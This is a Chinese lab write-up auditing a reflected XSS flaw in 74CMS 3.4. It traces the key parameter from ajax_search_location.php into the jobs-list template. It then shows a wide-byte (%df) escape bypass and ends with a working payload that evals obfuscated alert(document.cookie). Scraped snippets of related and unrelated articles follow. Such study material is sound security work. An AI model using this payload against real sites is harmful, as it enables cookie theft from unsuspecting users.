74CMS 3.4 反射型XSS漏洞
一、 启动环境
1.双击运行桌面phpstudy.exe软件

2.点击启动按钮,启动服务器环境
二、代码审计
1.双击启动桌面Seay源代码审计系统软件

2.因为74CMS3.4源代码编辑使用GBK编辑,所以首先需要先将编码改成GBK

3.点击新建项目按钮,弹出对画框中选择(C:\phpStudy\WWW\74cms),点击确定
漏洞分析
1.点击展开左侧templates\default目录,弹出的下拉列表中双击jobs-list.htm文件,右侧页面可以看到相关代码。
<script type="text/javascript">
var getstr="{#$smarty.get.category#},{#$smarty.get.subclass#},{#$smarty.get.district#},{#$smarty.get.sdistrict#},{#$smarty.get.settr#},{#$smarty.get.trade#},{#$smarty.get.wage#},{#$smarty.get.nature#},{#$smarty.get.scale#},{#$smarty.get.inforow#}";
var defaultkey="请输入职位名称、公司名称{#if $QISHI.jobsearch_type=='1'#}、技能特长、学校等{#/if#}关键字...";
var getkey="{#$smarty.get.key#}";
if (getkey=='')
{
getkey=defaultkey;
}
allaround('{#$QISHI.site_template#}','{#$QISHI.site_dir#}','{#"QS_jobslist"|qishi_url#}',getkey,getstr);
</script>
2.这段JavaScript代码主要作用是获取GET传输过来的key参数,然后如果参数不为空则将数据发送到allaround()函数。现在存在一个问题,如果key参数可以闭合getkey变量的双引号,然后接着在后面输入JavaScript代码,就会造成xss执行。 3. 现在就需要知道哪个文件调用这个模板文件,经过查看可以发现主页搜索框,当点击搜索的时候页面会跳转到/plus/ajax_search_location.php
define('IN_QISHI', true);
require_once(dirname(dirname(__FILE__)).'/include/plus.common.inc.php');
$act = !empty($_GET['act']) ? trim($_GET['act']) : 'QS_jobslist';
if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)
{
$_GET['key']=utf8_to_gbk($_GET['key']);
}
unset($_GET['act']);
$_GET=array_map("rawurlencode",$_GET);
$url=url_rewrite($act,$_GET);
unset($_GET);
exit($url);
?>
3.这个文件最后会经过url_rewrite函数跳转到/jobs/jobs-list.php文件,该函数最后进行初始化模板文件
define('IN_QISHI', true);
$alias="QS_jobslist";
require_once(dirname(__FILE__).'/../include/common.inc.php');
if($mypage['caching']>0){
$smarty->cache =true;
$smarty->cache_lifetime=$mypage['caching'];
}else{
$smarty->cache = false;
}
$cached_id=$_CFG['subsite_id']."|".$alias.(isset($_GET['id'])?"|".(intval($_GET['id'])%100).'|'.intval($_GET['id']):'').(isset($_GET['page'])?"|p".intval($_GET['page'])%100:'');
if(!$smarty->is_cached($mypage['tpl'],$cached_id))
{
require_once(QISHI_ROOT_PATH.'include/mysql.class.php');
$db = new mysql($dbhost,$dbuser,$dbpass,$dbname);
unset($dbhost,$dbuser,$dbpass,$dbname);
$smarty->display($mypage['tpl'],$cached_id);
$db->close();
}
else
{
$smarty->display($mypage['tpl'],$cached_id);
}
unset($smarty);
?>
4.最后初始化模板文件/templates/default/job-list.htm,JavaScript代码获取到get.key参数。现在需要注意一个问题,因为JavaScript并不是从前端直接获取的key参数,是通过后端文件一步步传送到达,所以如果直接添加双引号会被转义掉,所以需要先使用%df”把反斜线给“吃掉”,然后才能闭合双引号。
漏洞利用
1.访问主页,然后在搜索框输入
1%df%22;eval(St?ring.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41));
//其中1%df%22;是为了把前面双引号闭合,后面eval函数是把字符串当做Js代码执行,String.fromCharCode()接受一个指定的 Unicode 值,然后返回一个字符串。

74CMS 3.4 反射型XSS漏洞的更多相关文章
- 解决反射型XSS漏洞攻击
对于程序员来说安全防御,无非从两个方面考虑,要么前端要么后台. 一.首先从前端考虑过滤一些非法字符. 前端的主控js中,在<textarea> 输入框标签中,找到点击发送按钮后,追加到聊天 ...
- [典型漏洞分享]从一个手动分析的反射型XSS漏洞看待一个安全设计原则【中危】
这是在测试YS“本地相册”功能时发现的一个反射型XSS,自己在安全测试过程中也发现过不少XSS漏洞,唯独这个的发现过程有点区别. 在此之前,我在测试另外一个模块的功能接口的时候发现了一个反射型XSS, ...
- Wordpress Calendar Event Multi View < 1.4.01 反射型xss漏洞(CVE-2021-24498)
简介 WordPress是Wordpress基金会的一套使用PHP语言开发的博客平台.该平台支持在PHP和MySQL的服务器上架设个人博客网站.WordPress 插件是WordPress开源的一个应 ...
- markdown反射型xss漏洞复现
markdown xss漏洞复现 转载至橘子师傅:https://blog.orange.tw/2019/03/a-wormable-xss-on-hackmd.html 漏洞成因 最初是看到Hack ...
- [PoC]某B2B网站的一个反射型XSS漏洞
Author: Charlie 个人微博:http://YinYongYou.com 转载请注明出处. 工作过程纯粹手贱,测试了一下.然后发现了这么一个东西.有心利用能造成大范围影响.如可以自由修改用 ...
- 使用Fiddler的X5S插件查找XSS漏洞
OWASP top 10的安全威胁中的CrossSite Scripting(跨站脚本攻击),允许攻击者通过浏览器往网站注入恶意脚本.这种漏洞经常出现在web应用中需要用户输入的地方,如果网站有XSS ...
- 【11.18总结】从SAML出发在重定向中发现的XSS漏洞
Write-up地址:How I Discovered XSS that Affects around 20 Uber Subdomains 作者:fady mohammed osman 总算回家了, ...
- 搜索框反射型xss问题解决(网站开发)
什么是反射型XSS XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的h ...
- 通过代码审计找出网站中的XSS漏洞实战(三)
一.背景 笔者此前录制了一套XSS的视频教程,在漏洞案例一节中讲解手工挖掘.工具挖掘.代码审计三部分内容,准备将内容用文章的形式再次写一此,前两篇已经写完,内容有一些关联性,其中手工XSS挖掘篇地址为 ...
随机推荐
- javascript 书
作者limu 整理的书 http://web.jobbole.com/8087/ 慢慢整理, 后续还会添加
- Note -「Min_25 筛」“你就说这素因子你要不要吧?你要不要?”
赛上想写,Track Lost 了属于是. \(\mathscr{Intro}\) Min_25 筛是用于求积性函数前缀和,同时顺带求出一些"有意思"的信息的筛法. 一 ...
- 【第二十四期】golang 一年经验开发 富途
他们家是按题目来的,从一个小题目慢慢延伸着问,由浅入深,问到你换题为止. 第一题 给了一个网址,解释一下浏览器填入这个网址后发生了什么? TCP为什么要三次握手四次挥手? 502是什么? 如果出现50 ...
- Winds10 安装JDK8.0教程
首先下载一个jdk,可以通过这个链接下载:https://pan.baidu.com/s/1aP6SdL8UQK_C2GvALLb6Wg也可以去官网下载:https://www.oracle.com/ ...
- MongoDB 带访问控制的副本集部署
当你需要用到一个MongoDB 副本集集群,用于开发测试时, 可以通过下面的步骤简单完成. 版本及环境 MongoDB4.4 Centos6.5 一. 下载安装 MongoDB Server 及 ...
- .Net Core AOP之IResultFilter
一.简介 在.net core 中Filter分为以下六大类: 1.AuthorizeAttribute(权限验证) 2.IResourceFilter(资源缓存) 3.IActionFilter(执 ...
- [c语言]左移和右移
左移和右移都是位运算的概念.我们知道计算机是基于二进制保存数据的,因此左移和右移的概念十分重要.本文约定是32位的机器. [左移] 丢弃最高位,0补最低位 左移是把一个数按照二进制每位向左移动若干位, ...
- 【基础知识】CPU 是如何工作的 |CPU 通过总线读取内存的工作方式
一.简单cpu 是如何工作 方式讲解 CPU 的根本任务就是执行指令,对计算机来说最终都是一串由 0 和 1 组成的序列.CPU 从逻辑上可以划分成 3 个模块,分别是控制单元.运算单元和存储单元 ...
- WPF中ComboBox控件的SelectedItem和SelectedValue的MVVM绑定
问题描述:左侧是一个ListView控件,用于显示User类的Name属性,右侧显示其SelectedItem的其他属性,包括Age, Address,和Category.其中Category用Com ...
- 服务器CPU很高-怎么办(Windbg使用坑点)
最近,碰到了一个线上CPU服务器很高的问题,并且也相当紧急,接到这个任务后,我便想到C#性能分析利器,Windbg. 终于在折腾半天之后,找出了问题,成功解决,这里就和大家分享一下碰到的问题. 问题1 ...